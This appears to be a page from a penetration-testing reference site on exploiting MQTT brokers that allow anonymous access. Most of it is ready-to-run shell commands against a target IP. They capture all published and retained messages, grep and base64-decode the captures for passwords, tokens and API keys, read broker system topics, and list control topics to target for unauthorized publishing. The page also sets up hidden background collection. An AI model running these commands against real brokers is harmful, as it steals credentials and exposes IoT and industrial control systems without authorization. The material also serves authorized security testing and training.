# MQTT Anonymous Subscribe and Traffic Harvest

- **URL:** https://hackindex.io/services/mqtt/exploitation/mqtt-anonymous-subscribe
- **Path:** MQTT > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mqtt/exploitation.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

When a broker accepts anonymous subscriptions, every message published by every connected device is readable without authentication. In operational environments readable data includes:

- Sensor readings and device state updates
- Authentication tokens and API keys
- Configuration payloads with endpoint URLs
- Cleartext credentials transmitted as message data

This page covers systematically capturing that traffic.

Confirm anonymous access is accepted before proceeding: [MQTT Unauthenticated Access](https://hackindex.io/services/mqtt/vulnerability-discovery/mqtt-unauthenticated-access).

## MQTT Anonymous Subscribe: Full Topic Capture

Start a persistent subscription to the wildcard topic and log everything with timestamps:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --line-buffered | \
  while read line; do echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) $line"; done | \
  tee /tmp/mqtt-harvest.txt
```

Let this run for at least 5 minutes on active networks. IoT sensors typically publish on 10s to 60s intervals. SCADA and industrial systems may have slower cycles.

## Capture Retained Messages Immediately

Retained messages are stored on the broker and delivered to new subscribers the moment they connect. They represent the last known state of every device and are captured instantly without waiting:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --retained-only -C 500 | \
  tee /tmp/mqtt-retained.txt
```

`-C 500` stops after 500 messages. Increase if `$SYS/broker/retained messages/count` indicated a higher number. This completes in seconds regardless of device publish intervals.

## Identify High-Value Payloads

Search the captured traffic for credentials and secrets:

```bash
grep -iE 'password|passwd|secret|token|key|auth|credential|api' /tmp/mqtt-harvest.txt
grep -iE 'password|passwd|secret|token|key|auth|credential|api' /tmp/mqtt-retained.txt
```

Search for JSON payloads with embedded credentials:

```bash
grep -oE '"(password|token|secret|key)"\s*:\s*"[^"]+"' /tmp/mqtt-harvest.txt
```

Search for base64 strings that might encode credentials:

```bash
grep -oE '[A-Za-z0-9+/]{20,}={0,2}' /tmp/mqtt-harvest.txt | while read b64; do
  decoded=$(echo "$b64" | base64 -d 2>/dev/null)
  [ -n "$decoded" ] && echo "B64: $b64 => $decoded"
done
```

## Subscribe to $SYS Topics

System topics are readable without authentication when anonymous access is enabled:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -t '$SYS/#' -v -C 50
```

The broker version from `$SYS/broker/version` feeds into CVE lookups. Connected client count and message rates give you a picture of environment activity.

## Extract Unique Topic Paths

Map the full topic structure from harvested traffic:

```bash
awk '{print $2}' /tmp/mqtt-harvest.txt | sort -u > /tmp/mqtt-topics.txt
cat /tmp/mqtt-topics.txt
```

Identify control topics: those with names suggesting write paths (`cmd`, `set`, `control`, `command`, `action`) are targets for [Unauthorized MQTT Publish](https://hackindex.io/services/mqtt/exploitation/mqtt-unauthorized-publish).

## Continuous Background Collection

For longer engagements, run collection in the background and check back:

```bash
nohup mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --line-buffered \
  > /tmp/mqtt-continuous.txt 2>&1 &
echo "PID: $!"
```

Kill it when done:

```bash
kill $PID
```

## References

- [Mosquitto: mosquitto_sub man page](https://mosquitto.org/man/mosquitto_sub-1.html) - Full flag reference for persistent subscriptions, retained-only mode, and verbose output
- [bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) - Interactive MQTT client shell useful for exploratory enumeration and payload inspection